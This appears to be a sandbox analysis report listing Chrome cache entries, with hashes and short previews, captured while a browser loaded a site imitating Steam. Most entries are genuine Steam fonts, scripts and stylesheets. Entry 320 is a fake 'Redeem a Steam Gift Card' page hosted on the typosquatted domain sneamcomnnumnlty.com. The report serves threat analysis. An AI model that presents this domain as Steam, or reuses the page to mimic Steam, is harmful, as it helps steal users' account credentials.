Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(f

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	25021
Entropy (8bit):	5.432008045697921
Encrypted:	false
SSDEEP:	384:aUXvnJo2Facv5Wc4gOVMXBGdJTZ1CFN6ex6K2UD3mt4lRyOb74jCWqGil/wSwf0m:aU/nq2Fd4gC6WqGil/wS20m
MD5:	1F10C8901E451C0A179FEC8F29288CAC
SHA1:	539CAF472E65DDD35960ED129791DAB0586DA854
SHA-256:	73E516FF6298C9F13E8FB1C21E62BAC77DD23FC679594EADD982D8C4A94173F8
SHA-512:	D9EA7A3494C414FCFB8937DAFC70FCF8829FD5AC00E700C673C98A766089BA38D7F6A45921F2A5E116E70C13BCE74227C8E5318C162AE8A7DCC7F8744065BF11
Malicious:	false
Reputation:	low
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight4.015;Plau;MotivaSa
Category:	downloaded
Size (bytes):	122660
Entropy (8bit):	6.047516179670634
Encrypted:	false
SSDEEP:	3072:XnN/O/ceJkGwg/MOAibD2hPfX4HYhDhudcvObkSafj9:9/O/ceJkGwg/MOAib6nX44NhIWOb8fh
MD5:	D45F521DBA72B19A4096691A165B1990
SHA1:	2A08728FBB9229ACCCBF907EFDF4091F9B9A232F
SHA-256:	6B7A3177485C193A2E80BE6269B6B12880E695A8B4349F49FCCF87F9205BADCC
SHA-512:	9262847972A50F0CF8FC4225C6E9A72DBF2C55CCBCC2A098B7F1A5BD9EA87502F3C495A0431373A3C20961439D2DAE4AF1B1DA5B9FADE670D7FCAED486831D8C
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS..n)...l..ujGSUB.d....v.....OS/2t.....\|...`cmap.d..........cvt F).....d....fpgm.6!....,....gasp.......\....glyf...d...l....head...A...$...6hhea...+...\...$hmtxv.x.........loca..g....h....maxp........... name.\....0....post............prep.......D...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	92
Entropy (8bit):	5.071769701137034
Encrypted:	false
SSDEEP:	3:2uhx7lSNDrff0dutNDufFm8riAk:JT7lSBz0gtN6msiAk
MD5:	538ADD68F446543C7AC544CEC3DED5F1
SHA1:	BDDB92B6F3A3C3BEB8A26E54A644B18BEB64E9C6
SHA-256:	C43F7BEB7CECC72438283B1B2947C9B2455A5C099136E4F39C1311A2BA221156
SHA-512:	AAE0A67D7D9A156F240775B213F1A2205992000B186C63F64C5F494343F705B9EA83288E84B07415B4C8A01EDD8A69F25C1CE1EB8109CCE57853F1123D157B67
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmpxiXbITt9jxIFDZFhlU4SBQ01hlQc?alt=proto
Preview:	CkMKDQ2RYZVOGgQIVhgCIAEKMg01hlQcGgQISxgCKiUIClIhChchQC5fIyQqLT8rJi8lLCleOig9fjwnOxABGP////8P

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2641)
Category:	downloaded
Size (bytes):	55418
Entropy (8bit):	4.5416318130596975
Encrypted:	false
SSDEEP:	1536:JKdfxFmQR0dHdaxSMIUBNIKUjcuSIIIN9Xb5uPIh3UC+tM7GBHecX7dURZ:JNXrkbh2
MD5:	788118CCB1EA8609A09CAA79A19ADF32
SHA1:	C7EEDD7C5BE65343218FFB48304CA83375EF7DA9
SHA-256:	45EF0FEABD84BB315B6A184C60C2C1B9E0AC5000D9DB2A618EA803325DC9CB02
SHA-512:	BC56578BC07F7CCF93E2E97CCA641E110E97D66EAA55CA1298B50285A790F407E14AE41160257C86D154BF529FFEF7309293B25C06C796037020504F3D02FC4D
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/20412b512e08005e505a0e0b5f050401095759500c51015656554607740b5643011d5776134c17
Preview:	<!DOCTYPE html><html class=" responsive" lang="en"><head><script async src='/20412b512e08005d5856534b.js'></script><script>window.triggers = ["a","button"]</script>.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:site" content="@steam"><meta property="og:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="twitter:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="og:type" content="website"><meta property="fb:app_id" content="105386699540688"><meta property="og:site" content="Steam"><meta property="og:image" content="https://store.akamai.steamstatic.com/public/shared/images/responsive/share_steam_logo.png"><meta name="twitter:image" content="https://store.akamai.steamstatic.com/public/shared/images/responsive/share_steam_logo.png"><meta proper

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/footerLogo_valve_new.png
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12659), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	12824
Entropy (8bit):	5.556602496534854
Encrypted:	false
SSDEEP:	192:+Ol7JG2AOVDFDlDFuDIbqkzdNqYAwuOVVTxHYr7p/vbZzhGyUf/oa4X8LZrBrt:+s9G2A4X3bqouOzxHYfp/vbZzhGIglp
MD5:	B91F2C20108DBCD846F874CB4A4BCB43
SHA1:	3E138968F2169404D0098C92AC4C402E8FABD3F6
SHA-256:	033DCFC29F556D3630EDA2BE01D960D23E798A208EC56BB8E171C3D206624EE7
SHA-512:	31E631538B82EB0438BA5CC67F1BDD14F71C78F661BE8CF8563C724220A93D183903254C511F425C0F4EDBF4AFE956A717F687B439DD4A7ABD7EB89E7DA7713B
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9224605";(()=>{"use strict";var e,t,n={661:(e,t,n)=>{n.d(t,{pR:()=>r,Vz:()=>i,nh:()=>l});var a,r,i,o=n(729);class s{m_ActiveInputId;m_ActiveInputTimeout;m_config;constructor(e){this.m_config=e}Reset(){this.m_ActiveInputId=void 0,null!=this.m_ActiveInputTimeout&&(clearInterval(this.m_ActiveInputTimeout),this.m_ActiveInputTimeout=void 0)}HandleInputButtonDown(e,t){if(this.m_ActiveInputId!==e&&null!=t){this.Reset(),this.m_ActiveInputId=e;const n=()=>{this.m_ActiveInputTimeout=window.setInterval((()=>{t()}),this.m_config.repeatInterval_ms)};null==this.m_config.firstRepeatInterval_ms\|\|this.m_config.firstRepeatInterval_ms===this.m_config.repeatInterval_ms?n():this.m_ActiveInputTimeout=window.setTimeout((()=>{t(),n()}),this.m_config.firstRepeatInterval_ms)}}}!function(e){e[e.None=0]="None",e[e.Horizontal=1]="Horizonta

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (361), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	57258
Entropy (8bit):	5.243366680566906
Encrypted:	false
SSDEEP:	768:kHHithZY2ucy8vQfVYvArYRaeNBJk0XHBkwQ+JOJSk3acbAHEvaSlEP04rn/xENj:of8JXNrhBcRTUEFwiKYfBn
MD5:	3D42397BCB312EC07D70AE0D68FBADDE
SHA1:	3AF248D34E6A31B3D3269C65505458D42372EF0B
SHA-256:	53961D66B24EF8CC16B6CB5CB249CDF311AA89B6AFC70F06A242FCCC3A4EFCD3
SHA-512:	F4C325A231B11CE6A3E2899367E081CD6AC2E7AC1469542414BA0E3B57DF5897DF51615E2AD0AB6559E6B38003FFDBFA533C6E5701D0BC2F40FAE80EB4332348
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=PUI5e8sxLsB9&l=english
Preview:	/* CSS Document /....body.v6 {....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal /......}.....tooltip_q_ctn {.. background: rgba(255,255,255,0.4);.. color: white;.. border-radius: 10px;.. font-size: 11px;.. padding: 1px 5px 2px 5px;.. cursor: default;..}...tooltip_q_ctn:hover {.. background: rgba(255,255,255,0.5);..}....body.v6.checkout .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -50px;..}....body.v6.checkout_microtxn .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -10px;..}....body.v6.cart_page h4 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal */.......font-weight: normal;...color: #c7d5e0;..}....body.v6.login .rightcol h2 {...margin-top: 0px;..}..body.v6.login .rightcol .spotlight_block {...margin-bottom: 25px;..}....#checkout_review_cart_area {...margin-top: 56px;..}....#payment_info_tab .checkout_content .payment_info_form_area {...background: rgba( 0, 0, 0, 0.2 );...paddi

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 38x38, segment length 16, baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	1226
Entropy (8bit):	7.468952690767969
Encrypted:	false
SSDEEP:	24:O8zo0XxDuLHeOWXG4OZ7DAJuLHenX39ASwh6NFqsPq6qOcqiZcErExA:guERApjlcqiBrOA
MD5:	36C0E361B48289C116C417C67FCBA680
SHA1:	609F27278AA70697C13BF99F32C5A0248C381F9D
SHA-256:	3FB721D4F89AD130676CD39B48D40C66D2CF051D114606556D5334D74C3621E3
SHA-512:	362CA67D9555A05780A0BF4E8D33EC002656EF4538D2630AC52FCA104E478C759645F1201ECB0FD33D25094A351614286B7A43D242F0AADE48171651C4A133BC
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f32c5a0248c381f9d.jpg
Preview:	......JFIF.....&.&.....C....................................................................C....................................................................... . ...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......o....j....IfHc.\ov.8...R.j.b..+z.E\|!..<7.[......W...f.<e...M......z-JWl..W....x.LS.i..v..rIgz..I.PO.Yk%.o..n\|5.{...o.CN.\Z.......N...YN.!..u.....h......m4K.I.i...E......o..E.r.8..[....9cM{IToW.......\|g..k.%.!...;..9.....F..m.(.9'....uA.....>9.....a.4....v!S....p..W2.cF.x..!..;.<U<..xm.......Lg.Y..t.+x..2.._.CI......vVKm..9v....gf'.>.....C

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/dselect.js?v=sjouo3-33Gox
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (547)
Category:	downloaded
Size (bytes):	469790
Entropy (8bit):	5.084911175033798
Encrypted:	false
SSDEEP:	6144:zK8SyEGdEXdujYWUl/plq/pGlgFld1HmcI48VirY7IXtu2Y5W5ZbHtQTiTXu5bgs:fljHmcI4q5W5FHttCnuJq7CjhBK1
MD5:	C811575FD210AF968E09CAA681917B9B
SHA1:	0BF0FF43044448711B33453388C3A24D99E6CC9C
SHA-256:	D2F0522008BFF05C6434E48AC8F11F7464331436A4D5D96A14A058A81A75C82E
SHA-512:	D2234D9E8DCC96BCA55FAFB83BB327F87C29AE8433FC296C48BE3EF8C9A21A0A4305E14823E75416951EECD6221F56FBBB8C89D44B244A27BE7B6BEA310F2FD1
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/ui/1.11.3/jquery-ui.js
Preview:	/! jQuery UI - v1.11.3 - 2015-02-12. http://jqueryui.com.* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js, menu.js, progressbar.js, resizable.js, selectable.js, selectmenu.js, slider.js, sortable.js, spinner.js, tabs.js, tooltip.js.* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT /..(function( factory ) {..if ( typeof define === "function" && define.amd ) {....// AMD. Register as an anonymous module....define([ "jquery" ], factory );..} else {....// Browser globals...factory( jQuery );..}.}(function( $ ) {./!. * jQuery UI Core 1.11.3. * http://jqueryui.com. . Copyright jQuery Foundation and

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2583
Entropy (8bit):	5.220707765680073
Encrypted:	false
SSDEEP:	48:y3/p1p6iBbbjR3mDuk5kSR3mDukywR3mDuktStR3mDukFXR3mDukRCR3mDuk50wZ:ip1p6eogNw/31DsvdQw3A+37A3Hw
MD5:	CDA2E61B850F83C7F1E889ACC6193596
SHA1:	59CD6B250C1D527FF51CB57293438181A835AC70
SHA-256:	C05268CFF95B46046975AF3D56923F05AA84766DE65F83DCCC52AC72A1B525CA
SHA-512:	64F2183288260A2E86EC5113E864A4584FD516EF119321756E24DA368F6F03169EC029A6426262423A090616B39BC532E408B4382206881EFFD4F0ECC3941796
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/motiva_sans.css?v=zaLmG4UPg8fx
Preview:	/.. Font: ..Motiva Sans.. URL: ..http://www.youworkforthem.com/product.php?sku=T2982.. Foundry: .Niramekko.. Foundry: .http://www.youworkforthem.com/designer/293/niramekko.. Copyright:.Copyright 2011 by Rodrigo Saiani. All rights reserved... Version: .1.0.. Created:.August 09, 2012.. License: .http://www.youworkforthem.com/font-license.. License: .The WebFont(s) listed in this document must follow the YouWorkForThem..... WebFont license rules. All other parties are strictly restricted..... from using the WebFonts(s) listed without a purchased license...... All details above must always remain unaltered and visible in your CSS... /....@font-face {...font-family: 'Motiva Sans';...src: url('https://help.steampowered.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015') format('truetype');...font-weight: normal;...font-style: normal;..}....@font-face {...font-family: 'Motiva Sans';...src: url('https://help.steampowered.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015') format('tr

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3355
Entropy (8bit):	5.396115949174596
Encrypted:	false
SSDEEP:	48:jrE1CT8Pi/CCsj5x9cHcYVGwGnrGdrtjcd/UfxGD/CtByLF3vDD+FQyB8pCkP:IawCp8E/0Ec+ByBv+FQyCzP
MD5:	9AF8AAEF60A740E8062CCDA7EFE7C179
SHA1:	1D72FFFE2679D8E55F35C1CEEFA29261C55E0A43
SHA-256:	7173A15A85C666C409667810A53ED83FE73505988FF8496EE65C8EE03D683A6A
SHA-512:	349F5F3958A19BE9B83DE6A18F22786B0C9D79815ABA89F721EE4A2C2DA66098F24794AEA023D84E645F17BCB7A9A5E65EAC331C79530010AA08707329F32114
Malicious:	false
Reputation:	low
Preview:	var RSAPublicKey = function($modulus_hex, $encryptionExponent_hex) {...this.modulus = new BigInteger( $modulus_hex, 16);...this.encryptionExponent = new BigInteger( $encryptionExponent_hex, 16);..};....var Base64 = {...base64: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",...encode: function($input) {....if (!$input) {.....return false;....}....var $output = "";....var $chr1, $chr2, $chr3;....var $enc1, $enc2, $enc3, $enc4;....var $i = 0;....do {.....$chr1 = $input.charCodeAt($i++);.....$chr2 = $input.charCodeAt($i++);.....$chr3 = $input.charCodeAt($i++);.....$enc1 = $chr1 >> 2;.....$enc2 = (($chr1 & 3) << 4) \| ($chr2 >> 4);.....$enc3 = (($chr2 & 15) << 2) \| ($chr3 >> 6);.....$enc4 = $chr3 & 63;.....if (isNaN($chr2)) $enc3 = $enc4 = 64;.....else if (isNaN($chr3)) $enc4 = 64;.....$output += this.base64.charAt($enc1) + this.base64.charAt($enc2) + this.base64.charAt($enc3) + this.base64.charAt($enc4);....} while ($i < $input.length);....return $output;...},...decode:

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	22982
Entropy (8bit):	5.20146614382101
Encrypted:	false
SSDEEP:	384:/KPuGWFUU8B+9zarQKcediPyxalS8pVUqqv5oz2Et62RPAjvbB+zHAPLIJI:/KPuGWFUR+9OrQKcekPyxalfVTqv6I2C
MD5:	A0DE258794019F665DD387129D436FC3
SHA1:	3F1C502A7A70E5DE42A59584E0862840A7517F52
SHA-256:	143547B60902FEB651F75C61F8B4DB84F0395866C6F115C9502AAC5CFD2AAA09
SHA-512:	9729D3768295FE63E18979D85A8F2E5D6EB72B3D60579EDC1B9C5C9CE75E0A3985936EA3F5FD1FFBFACE6649FF29B8CA9752C4B09EAB52E7B8AD54098303AFD9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english
Preview:	...licenseRow, .transactionRow {...position: relative;...padding: 5px 14px;...border-bottom: 1px solid #000000;...line-height: 18px;..}.....licenseRow.even, .transactionRow.even {...background-color: rgba(0,0,0,0.2)..}.....licenseRow.odd, .transactionRow.odd {...background-color: rgba(0,0,0,0.1)..}.....licenseLegend, .transactionLegend {...background: #0197cf;...color: #fff;...font-size: 11px;...text-transform: uppercase;...padding: 2px 14px;..}.....licenseRowRight {...position: absolute;...right: 14px;..}.....transactionRowDate {...position: absolute;...left: 14px;..}.....transactionRowEvent {...position: absolute;...left: 451px;..}.....transactionRowPrice {...position: absolute;...right: 14px;..}.....transactionRowItems {...padding-left: 121px;..}.....transactionRowTitle {...padding-right: 162px;..}.....transactionRowItems .itemSubtext {...color: #626366;..}.....transactionRowName {...padding-top: 5px;...padding-bottom: 5px;...padding-left: 14px;...width: 45%;...border-bottom-width:

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
